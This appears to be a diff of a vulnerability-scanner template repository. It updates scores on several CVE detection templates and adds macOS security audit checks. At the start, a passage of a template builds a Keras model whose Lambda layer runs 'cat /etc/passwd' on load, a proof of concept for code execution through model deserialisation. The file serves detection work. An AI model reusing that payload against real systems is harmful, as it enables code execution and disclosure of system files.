+          from tensorflow.keras.models import Model
+          import numpy as np
+      except ImportError:
+          sys.exit(1)
+
+      def create_malicious_model():
+          def malicious_function(x):
+              result = os.popen("cat /etc/passwd").read()
+              print(result)
+              return x
+
+          input_layer = Input(shape=(1,))
+          lambda_layer = Lambda(malicious_function, name="evil_lambda")(input_layer)
+          model = Model(inputs=input_layer, outputs=lambda_layer)
+          return model
+
+      def exploit_lambda_layer():
+          model_path = "/tmp/malicious_model.keras"
+          try:
+              model = create_malicious_model()
+              model.save(model_path)
+              del model
+
+              loaded_model = load_model(model_path)
+              test_input = np.array([[1.0]])
+              loaded_model.predict(test_input, verbose=0)
+
+              return True
+          except:
+              return False
+          finally:
+              if os.path.exists(model_path):
+                  os.remove(model_path)
+
+      exploit_lambda_layer()
+
+    matchers:
+      - type: regex
+        part: response
+        regex:
+          - "root:.*:0:0:"
+# digest: 4b0a00483046022100c70f589345f9680a9c7b260f970bae459696e2d2bff5595d6229f7007fc65c47022100b0313cd3094c28883f2e73d30a9d9721335e01d0272e63b0a5edaf7c797af45e:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-22457.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2025-22457
     cwe-id: CWE-121,CWE-787
     epss-score: 0.76863
-    epss-percentile: 0.98898
+    epss-percentile: 0.98896
     cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
   metadata:
     vendor: ivanti
@@ -128,4 +128,4 @@ code:
       - type: word
         words:
           - "VULNERABLE:"
-# digest: 4a0a0047304502203f75dbfaad4ad6b004f89a6abe6b8ff05ec8c740385c91234058adab770eb6ea022100d31419b68e13b98dbfdede575d41d57e7b949ade2001446d470aa73c3a7f4bb4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022062ab1641bcc951d133e7f74779ba89ee1e212c57abb637875f5741ccde5f0aff0221009abc5b18daa74ae3ced807615e569a0b2c8801d70b2726bf069010f7248e2800:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-25291.yaml

@@ -20,7 +20,7 @@ info:
     cve-id: CVE-2025-25291
     cwe-id: CWE-347
     epss-score: 0.17247
-    epss-percentile: 0.94744
+    epss-percentile: 0.94749
   metadata:
     verified: true
     vendor: gitlab
@@ -78,4 +78,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 490a0046304402202d4a3417e1248c02987e65aaa3859a0691580be5c5e6841ef09e1546d4f6ce770220709dc70e279c9f4aa652e8391870e72f9f0ed9badcc811469e6425b2882cd484:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e1056a8ff75ac83c3a96052470dd841135213342698a4c36e446b381e5e511530220413276e007290661ab8493b56bc7a2ba04c386f9d6f5b79591d0445735d6dd12:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-32433.yaml

@@ -20,8 +20,8 @@ info:
     cvss-score: 10
     cve-id: CVE-2025-32433
     cwe-id: CWE-306
-    epss-score: 0.53778
-    epss-percentile: 0.97866
+    epss-score: 0.50575
+    epss-percentile: 0.97705
   metadata:
     verified: true
     max-request: 1
@@ -172,4 +172,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a00473045022100a836215ff57c937a4e67f2d0356c07465020153450ad01d5d8fb3ee70ea58c7d022074f5c22f26df10c73b3c23b69fccd923b643dd8de88c214cfed73f65fc67f2a5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200b6533a13024ea7b201bf05061b0794d062e859c61d244ceb91dd363480c45af022100fe5c1f4e52838bd34080af45429ce46365f8e4666111518867eb748b46d96f18:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-54309.yaml

@@ -17,8 +17,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-54309
-    epss-score: 0.56973
-    epss-percentile: 0.98016
+    epss-score: 0.51712
+    epss-percentile: 0.97764
     cwe-id: CWE-287,CWE-362
     cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
   metadata:
@@ -200,4 +200,4 @@ code:
       - type: word
         words:
           - "VULNERABLE:"
-# digest: 4b0a004830460221009e096641682d45560e5ef9e35a24ef1d999c1237e1c7300af90e97c940eda5a1022100af9eb03cc7d7732a901c609bef6ca34d6632f0827751b77c4338a9f26eee5e2c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c9395376e283cc4dd0a2bf15295ae3dccb5947d4014cfc88c20bd40c3e5cc6f502210094d5ea22d6a0bbabd965e1ee8f3f22a95a78243014baa2965dcfb10a43d4f03d:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-6216.yaml

@@ -15,8 +15,8 @@ info:
     - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
     - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
   classification:
-    epss-score: 0.28615
-    epss-percentile: 0.96307
+    epss-score: 0.23131
+    epss-percentile: 0.95692
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
       - type: dsl  # type of the extractor
         dsl:
           - '"Reset URL: " + code_response'
-# digest: 4a0a0047304502204e15f75d847313a94159ce612853e8d43c07acd7907aaa6116166434ed694ca6022100b51bf8064525483171bb588675b324c60cbe3f8a3987f86db575d2baeaa20225:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a2be2456cfe1709fae649db10fbac3d0fe061452ca2a4f3c2ee70f7c48e28a75022100a5b948b1cc1fc68b2c2113a168b01140424ca218f60566007c25e3527dbe3c85:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-9242.yaml

@@ -18,13 +18,13 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2025-9242
     cwe-id: CWE-787,CWE-362
-    epss-score: 0.055
-    epss-percentile: 0.89772
+    epss-score: 0.76989
+    epss-percentile: 0.98902
     cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
   metadata:
     verified: true
     shodan-query: html:"Watchguard" html:"Authentication Server"
-  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn
+  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev
 
 variables:
   HOST: "{{Host}}"
@@ -552,4 +552,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 4a0a00473045022100dcff8d2117d05c7f29608fb37b2e2c96880d295642afaa19a7b9fd87fbbe7189022015423b37441c71e3f9b33c8cd1635fd58e97b63018684175eecad56ee9676538:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022033f7f111f3d45d13c51d4cd41ef663e6b4269f72e8ed4123840ef98e24d904da022100ff1e6ece5ecdb04dd832fa17bd5cb17609c41c6868d85dd40e3cee8fdac4b4cb:922c64590222798bb761d5b6d8e72950

code/macos/audit/auto-login-enabled.yaml

@@ -0,0 +1,34 @@
+id: auto-login-enabled
+
+info:
+  name: macOS Automatic Login Enabled
+  author: geeknik
+  severity: high
+  description: |
+    Checks if automatic login is enabled on macOS, allowing users to log in to the system without entering a password upon startup.
+  impact: |
+    Enabling automatic login can lead to unauthorized access to the user's account and data if the device is physically accessed.
+  remediation: |
+    Disable automatic login to require a password at startup and enhance physical security.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser 2>&1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+
+      - type: word
+        words:
+          - "does not exist"
+        negative: true
+# digest: 4a0a0047304502206e4abbed2d196fdcfbec430b63cb79ec4c970a766ae1dfa5699ed88c1df29841022100be4e6fe238b571547044d2a5d05526f69078c3f5536e4702b018e13149db8a7a:922c64590222798bb761d5b6d8e72950

code/macos/audit/filevault-disabled.yaml

@@ -0,0 +1,27 @@
+id: filevault-disabled
+
+info:
+  name: macOS FileVault Disabled
+  author: geeknik
+  severity: high
+  description: |
+    Identifies if FileVault full-disk encryption is disabled on macOS, leaving data unprotected from unauthorized access.
+  impact: |
+    Disabling FileVault leaves the data on the disk unencrypted and vulnerable to theft or unauthorized access if the device is lost or stolen.
+  remediation: |
+    Enable FileVault to encrypt the entire disk and protect the data at rest.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      fdesetup status
+    matchers:
+      - type: word
+        words:
+          - "FileVault is Off."
+# digest: 4b0a00483046022100dbeda953db252023089741b1ebc7bfe9469e933be51e45c78375eb388a18e01d022100b08c18ef3cbd1adefb1455ae1b792c1647dba4be6856925de6508a35c4066c05:922c64590222798bb761d5b6d8e72950

code/macos/audit/firewall-disabled.yaml

@@ -0,0 +1,27 @@
+id: firewall-disabled
+
+info:
+  name: macOS Application Firewall Disabled
+  author: geeknik
+  severity: medium
+  description: |
+    Verifies if the macOS application firewall is disabled, removing protection against unauthorized network access by applications.
+  impact: |
+    Disabling the firewall can allow malicious applications to make outbound connections and expose the system to network-based attacks.
+  remediation: |
+    Enable the macOS application firewall to control network access for applications.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
+    matchers:
+      - type: word
+        words:
+          - "Firewall is disabled. (State = 0)"
+# digest: 4b0a00483046022100fec597c208922cff8c5bf96d23a75c06d1192ecc31c5f257bd72cda4b05c3678022100b2899ee2431e105ca31f924e76bc446fa025a9c64b0f62c5268e06af0859be81:922c64590222798bb761d5b6d8e72950

code/macos/audit/gatekeeper-disabled.yaml

@@ -0,0 +1,27 @@
+id: gatekeeper-disabled
+
+info:
+  name: macOS Gatekeeper Disabled
+  author: geeknik
+  severity: high
+  description: |
+    Checks if Gatekeeper is disabled on macOS, removing verification that downloaded applications are from identified developers.
+  impact: |
+    Disabling Gatekeeper allows the execution of applications from unverified sources, increasing the risk of malware infection.
+  remediation: |
+    Enable Gatekeeper to ensure that only applications from identified developers can be run.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      spctl --status
+    matchers:
+      - type: word
+        words:
+          - "assessments disabled"
+# digest: 4b0a00483046022100c13d86b99f8f878a28f12b93336ffc8b2041992d8469e55e5f4253fe313aaf920221009d4860d4ef526c896fd5ca9018bfec060b55f363a0e8efe3bdbe53c6673bc5ec:922c64590222798bb761d5b6d8e72950

code/macos/audit/guest-user-enabled.yaml

@@ -0,0 +1,31 @@
+id: guest-user-enabled
+
+info:
+  name: macOS Guest User Enabled
+  author: geeknik
+  severity: medium
+  description: |
+    Identifies if the guest user account is enabled on macOS, allowing anyone to use the computer without authentication.
+  impact: |
+    Enabling the guest user account can allow unauthorized users to access the system with limited, but potentially risky, privileges.
+  remediation: |
+    Disable the guest user account to reduce the risk of unauthorized access.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      defaults read /Library/Preferences/com.apple.loginwindow GuestEnabled 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^1$"
+# digest: 4a0a00473045022100b56ce36c9516138969ae1baa1b6472abc91525849b6ebf9b1fcfed3a5921a45c0220475f29d019df5ace5aca8e06548449de2807ecdf682073423a0e4c7f4763db8d:922c64590222798bb761d5b6d8e72950

code/macos/audit/insecure-cron-jobs.yaml

@@ -0,0 +1,27 @@
+id: insecure-cron-jobs
+
+info:
+  name: macOS World-Writable Cron Jobs
+  author: geeknik
+  severity: medium
+  description: |
+    Finds world-writable cron job files on macOS that can be modified by any user on the system.
+  impact: |
+    World-writable cron job files can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
+  remediation: |
+    Review and correct the permissions of world-writable cron job files.
+  tags: macos,audit,local,security,cron
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find /etc/crontab /var/at/tabs/ -perm -o+w -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
+# digest: 490a00463044022075a77d80b297101e767baa7a3df6a47b36d346be38b58abdd7ea504b7f8b49cb022079d8770c2062a09b57c244e78b22dab6f546cf4d9274013e66ee3dc2baef18b0:922c64590222798bb761d5b6d8e72950

code/macos/audit/insecure-etc-exports-permissions.yaml

@@ -0,0 +1,32 @@
+id: insecure-etc-exports-permissions
+
+info:
+  name: macOS Insecure /etc/exports Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Identifies insecure permissions on the /etc/exports file used to configure NFS exports on macOS.
+  impact: |
+    Insecure permissions on /etc/exports could allow unauthorized users to modify the file and gain access to exported filesystems.
+  remediation: |
+    Ensure that the /etc/exports file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
+  tags: macos,audit,local,security,nfs
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/exports 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 4a0a00473045022100f0a90c14abd2b8151c008c14b461df041bd982ed2afe14cdb307fafb20f8934e0220363866f2cc52ca7b8ac63e881c4352af6b44aadf4571832c3cac632cf8a3fbdb:922c64590222798bb761d5b6d8e72950

code/macos/audit/insecure-etc-fstab-permissions.yaml

@@ -0,0 +1,32 @@
+id: insecure-etc-fstab-permissions
+
+info:
+  name: macOS Insecure /etc/fstab Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Validates permissions on the /etc/fstab file that defines how disk partitions and filesystems are mounted on macOS.
+  impact: |
+    Insecure permissions on /etc/fstab could allow unauthorized users to modify the file and mount malicious filesystems.
+  remediation: |
+    Ensure that the /etc/fstab file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/fstab 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 4a0a00473045022100f63b670201e473559afe079d0f0944bd69bb9c3e624727ade721819c25bef59402205cfe065102455e15e4e85727ea9d8d59c11730662b81b8706d5e4cfd710db02f:922c64590222798bb761d5b6d8e72950

code/macos/audit/insecure-etc-hostconfig-permissions.yaml

@@ -0,0 +1,32 @@
+id: insecure-etc-hostconfig-permissions
+
+info:
+  name: macOS Insecure /etc/hostconfig Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Evaluates permissions on the /etc/hostconfig file used to configure system services on macOS.
+  impact: |
+    Insecure permissions on /etc/hostconfig could allow unauthorized users to modify the file and reconfigure system services.
+  remediation: |
+    Ensure that the /etc/hostconfig file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/hostconfig 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 4b0a00483046022100d47f5829d759ebef3fbef226cb5a917a07bfff78791407217fd529a265a81876022100cb5bff86e6fa1eaf80f0f189250c9e59236c5c3f074d0499c96d642e6be6e1eb:922c64590222798bb761d5b6d8e72950

code/macos/audit/insecure-etc-inetd-conf-permissions.yaml

@@ -0,0 +1,32 @@
+id: insecure-etc-inetd-conf-permissions
+
+info:
+  name: macOS Insecure /etc/inetd.conf Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Verifies permissions on the /etc/inetd.conf file used to configure the inetd daemon on macOS.
+  impact: |
+    Insecure permissions on /etc/inetd.conf could allow unauthorized users to modify the file and enable or disable network services.
+  remediation: |
+    Ensure that the /etc/inetd.conf file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/inetd.conf 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 490a0046304402203a17f921ddd73a973258b7a7fe563d18218462436e060a5b6d27111c18f26f46022035c897ff32e61af7c5bf2dfd63b3c5c318182e88ce292d46962b404675dd93cc:922c64590222798bb761d5b6d8e72950

code/macos/audit/insecure-homebrew-permissions.yaml

@@ -0,0 +1,27 @@
+id: insecure-homebrew-permissions
+
+info:
+  name: macOS World-Writable Homebrew Files
+  author: geeknik
+  severity: medium
+  description: |
+    Scans for world-writable files in the Homebrew directory that could be exploited for privilege escalation.
+  impact: |
+    World-writable files in the Homebrew directory can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
+  remediation: |
+    Review and correct the permissions of world-writable files in the Homebrew directory.
+  tags: macos,audit,local,security,homebrew
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find $(brew --prefix)/ -perm -o+w -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
+# digest: 4a0a0047304502201b6cc3d198cfe7d9f9285a73a3b9fcc416e015ee4418aa7dd46510903c057e68022100800ba72c60fd91ae271f6c627f2c147ff7082f01cde9ef3725453ceb802c1219:922c64590222798bb761d5b6d8e72950

code/macos/audit/insecure-launchd-jobs.yaml

@@ -0,0 +1,27 @@
+id: insecure-launchd-jobs
+
+info:
+  name: macOS World-Writable Launchd Jobs
+  author: geeknik
+  severity: medium
+  description: |
+    Searches for world-writable launchd job files on macOS that allow modification by any user.
+  impact: |
+    World-writable launchd job files can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
+  remediation: |
+    Review and correct the permissions of world-writable launchd job files.
+  tags: macos,audit,local,security,launchd
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find /System/Library/LaunchDaemons/ /System/Library/LaunchAgents/ /Library/LaunchDaemons/ /Library/LaunchAgents/ ~/Library/LaunchAgents/ -perm -o+w -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
+# digest: 4a0a00473045022100d79cf12bf41b029f55016ee394b8bbe07438a24579d556e97b47fb4cf336c2f102204ddd8161cde0e4501b0af970e45f01dd08aa1146117665257d4e8afd6d2ba8fc:922c64590222798bb761d5b6d8e72950

code/macos/audit/insecure-startup-items.yaml

@@ -0,0 +1,27 @@
+id: insecure-startup-items
+
+info:
+  name: macOS World-Writable Startup Items
+  author: geeknik
+  severity: medium
+  description: |
+    Identifies world-writable startup items on macOS that can be tampered with by unprivileged users.
+  impact: |
+    World-writable startup items can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
+  remediation: |
+    Review and correct the permissions of world-writable startup items.
+  tags: macos,audit,local,security,startup
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find /System/Library/StartupItems/ /Library/StartupItems/ -perm -o+w -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
+# digest: 4a0a00473045022100cdffabfeaa894e26f8e25b8f0e6f3eb621ef7ba02088001a384c45791c7a3be002206670aa650962df9af70ced787fa9058d9e6a5c2573bf3aca920e4eb466b3741d:922c64590222798bb761d5b6d8e72950

code/macos/audit/insecure-sudo-timestamp.yaml

@@ -0,0 +1,27 @@
+id: insecure-sudo-timestamp
+
+info:
+  name: macOS Excessive Sudo Timestamp Timeout
+  author: geeknik
+  severity: medium
+  description: |
+    Checks if the sudo timestamp timeout is configured to an excessively long duration (100+ minutes).
+  impact: |
+    A long sudo timestamp can allow a user to execute commands with root privileges for an extended period of time without re-entering their password.
+  remediation: |
+    Set the sudo timestamp to a reasonable value to reduce the risk of unauthorized access.
+  tags: macos,audit,local,security,sudo
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      grep -E "^Defaults.*timestamp_timeout=" /etc/sudoers
+    matchers:
+      - type: regex
+        regex:
+          - "timestamp_timeout=([1-9][0-9]{2,})"
+# digest: 4a0a00473045022056c70c9e83ca5b06dfd2d6f37d3fac472448c1684e5513de20f012e1c6d79207022100fa6c9d279661d23106d9c0c878ae249adb35cd312d45c18c3f9a6f098d8bf186:922c64590222798bb761d5b6d8e72950

code/macos/audit/insecure-sudoers-permissions.yaml

@@ -0,0 +1,32 @@
+id: insecure-sudoers-permissions
+
+info:
+  name: macOS Insecure /etc/sudoers Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Audits permissions on the /etc/sudoers file that defines which users can run commands with root privileges on macOS.
+  impact: |
+    Insecure permissions on /etc/sudoers could allow unauthorized users to modify the file and grant themselves root privileges.
+  remediation: |
+    Ensure that the /etc/sudoers file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0440 or more restrictive.
+  tags: macos,audit,local,security,sudo
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/sudoers 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-r--r-----\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 4b0a0048304602210097a287244d9ed09ffb331116f32802392d11aaa8fb0213fc39c35c24166d8beb022100bd0f5ae8e37b1081db8f56616615959457283c1558406ddcb720f041b2aaa582:922c64590222798bb761d5b6d8e72950

code/macos/audit/insecure-tty-permissions.yaml

@@ -0,0 +1,27 @@
+id: insecure-tty-permissions
+
+info:
+  name: macOS World-Readable TTY Devices
+  author: geeknik
+  severity: medium
+  description: |
+    Checks if TTY devices are readable by all users, potentially allowing session snooping.
+  impact: |
+    If TTYs are readable by all users, it may be possible for an attacker to sniff sensitive information from other users' sessions.
+  remediation: |
+    Ensure that TTYs are not readable by all users.
+  tags: macos,audit,local,security,tty
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /dev/tty*
+    matchers:
+      - type: regex
+        regex:
+          - "crw-rw-rw-.*"
+# digest: 4a0a00473045022100e4abc01b85856b24dcdfa381e0bd89e145134b9bc22ca800b319461178c681740220239dac32ccb77f5a93dacc9aade8a0607f2f3fe0817dd862557c49551ef40cea:922c64590222798bb761d5b6d8e72950

code/macos/audit/insecure-umask.yaml

@@ -0,0 +1,28 @@
+id: insecure-umask
+
+info:
+  name: macOS Permissive Umask Configuration
+  author: geeknik
+  severity: medium
+  description: |
+    Verifies if the umask is configured with overly permissive values that create insecurely accessible files.
+  impact: |
+    A permissive umask can result in new files being created with world-writable permissions, which can be a security risk.
+  remediation: |
+    Set the umask to a more restrictive value to ensure that new files are created with secure permissions.
+  tags: macos,audit,local,security,umask
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      umask
+    matchers:
+      - type: regex
+        regex:
+          - "^0?0[0-2][0-7]$"
+        negative: true
+# digest: 4b0a00483046022100c69d262b8d1b34e76e3555fcdba1fae77480c154bd0e30ba8b0acb7e0ed03e3b022100d2c19fc4e134aa384f4498467fe35d921684fe767e0d2948c4f4066cc8491723:922c64590222798bb761d5b6d8e72950

code/macos/audit/sip-disabled.yaml

@@ -0,0 +1,27 @@
+id: sip-disabled
+
+info:
+  name: macOS System Integrity Protection (SIP) Disabled
+  author: geeknik
+  severity: high
+  description: |
+    Validates whether System Integrity Protection (SIP) is disabled, removing critical restrictions on system modifications.
+  impact: |
+    Disabling SIP significantly weakens the security of the system, making it more vulnerable to malware and unauthorized modifications.
+  remediation: |
+    Enable System Integrity Protection (SIP) to protect the system from unauthorized modifications.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      csrutil status
+    matchers:
+      - type: word
+        words:
+          - "System Integrity Protection status: disabled."
+# digest: 4b0a00483046022100a9c95ce47a76fc6365a0b50b12e67d6d2da2a2faecd59065b1b0ded05df9ebc9022100a6877fd0ebd4f9c2a736f424a6a383ce72760683f1fd31826405e1f05e945676:922c64590222798bb761d5b6d8e72950

code/macos/audit/ssh-service-running.yaml

@@ -0,0 +1,32 @@
+id: ssh-service-running
+
+info:
+  name: macOS SSH Service Running
+  author: geeknik
+  severity: info
+  description: |
+    Checks if the SSH service (Remote Login) is running on the macOS system.
+  impact: |
+    While not a vulnerability in itself, a running SSH service can be a potential attack vector if not properly configured and secured.
+  remediation: |
+    Disable the SSH service if it is not needed. If it is required, ensure that it is properly configured with strong passwords and key-based authentication.
+  tags: macos,audit,local,security,ssh
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      launchctl print system/com.openssh.sshd 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: word
+        words:
+          - "state = running"
+          - "com.openssh.sshd"
+# digest: 4a0a00473045022053ce4877c2b6dd468f675d1170e575f39b925e2aa4deeeec03b1a0ed80e322cc022100de4617540a86bac57c234caa4f163cb06390cd4e5915dd8b8bbb7c835b10d873:922c64590222798bb761d5b6d8e72950

code/macos/audit/suid-sgid-files.yaml

@@ -0,0 +1,28 @@
+id: suid-sgid-files
+
+info:
+  name: macOS SUID/SGID Files Detection
+  author: geeknik
+  severity: high
+  description: |
+    Discovers files with SUID or SGID permissions in user-writable directories (/usr/local, /opt, /Applications) that could be exploited for privilege escalation if misconfigured or vulnerable.
+  impact: |
+    Misconfigured SUID/SGID executables in user-writable directories can be exploited by local users to gain elevated privileges.
+  remediation: |
+    Review the list of SUID/SGID files and remove the permissions if they are not necessary.
+  tags: macos,audit,local,security,privesc
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find /usr/local /opt /Applications -perm -4000 -o -perm -2000 -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "^-rws.*"
+          - "^-..s.*"
+# digest: 4b0a00483046022100dd30985f866765efba07fa5b717ba0293926c4eac8375acdb63235ac56712901022100f2217c9a5f0f16219fe49d888b8195944c5095e3680dd822cbb3dbe840d9a3f0:922c64590222798bb761d5b6d8e72950

cves.json

@@ -1,5 +1,5 @@
 {"ID":"CVE-2000-0114","Info":{"Name":"Microsoft FrontPage Extensions - Information Disclosure","Severity":"medium","Description":"Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /_vti_bin/ virtual directory.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2000/CVE-2000-0114.yaml"}
-{"ID":"CVE-2000-0760","Info":{"Name":"Jakarta Tomcat 3.1 and 3.0 - Exposure","Severity":"low","Description":"The Snoop servlet in Jakarta Tomcat 3.1 and 3.0 under Apache reveals sensitive system information when a remote attacker requests a nonexistent URL with a .snp extension.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2000/CVE-2000-0760.yaml"}
+{"ID":"CVE-2000-0760","Info":{"Name":"Jakarta Tomcat 3.1 and 3.0 - Information Disclosure","Severity":"medium","Description":"Jakarta Tomcat 3.1 and 3.0 under Apache contain a vulnerability in the Snoop servlet that reveals sensitive system information when a remote attacker requests a nonexistent URL with a .snp extension, exploit requires remote access.\n","Classification":{"CVSSScore":"6.4"}},"file_path":"http/cves/2000/CVE-2000-0760.yaml"}
 {"ID":"CVE-2001-0537","Info":{"Name":"Cisco IOS HTTP Configuration - Authentication Bypass","Severity":"critical","Description":"HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to bypass authentication and execute arbitrary commands, when local authorization is being used, by specifying a high access level in the URL.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2001/CVE-2001-0537.yaml"}
 {"ID":"CVE-2002-1131","Info":{"Name":"SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting","Severity":"high","Description":"The Virtual Keyboard plugin for SquirrelMail 1.2.6/1.2.7 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2002/CVE-2002-1131.yaml"}
 {"ID":"CVE-2004-0519","Info":{"Name":"SquirrelMail 1.4.x - Folder Name Cross-Site Scripting","Severity":"medium","Description":"Multiple cross-site scripting (XSS) vulnerabilities in SquirrelMail 1.4.2 allow remote attackers to execute arbitrary script and possibly steal authentication information via multiple attack vectors, including the mailbox parameter in compose.php.","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2004/CVE-2004-0519.yaml"}
@@ -1654,6 +1654,7 @@
 {"ID":"CVE-2021-43574","Info":{"Name":"Atmail 6.5.0 - Cross-Site Scripting","Severity":"medium","Description":"Atmail 6.5.0 contains a cross-site scripting vulnerability in WebAdmin Control Pane via the format parameter to the default URI, which allows remote attackers to inject arbitrary web script or HTML via the “format” parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-43574.yaml"}
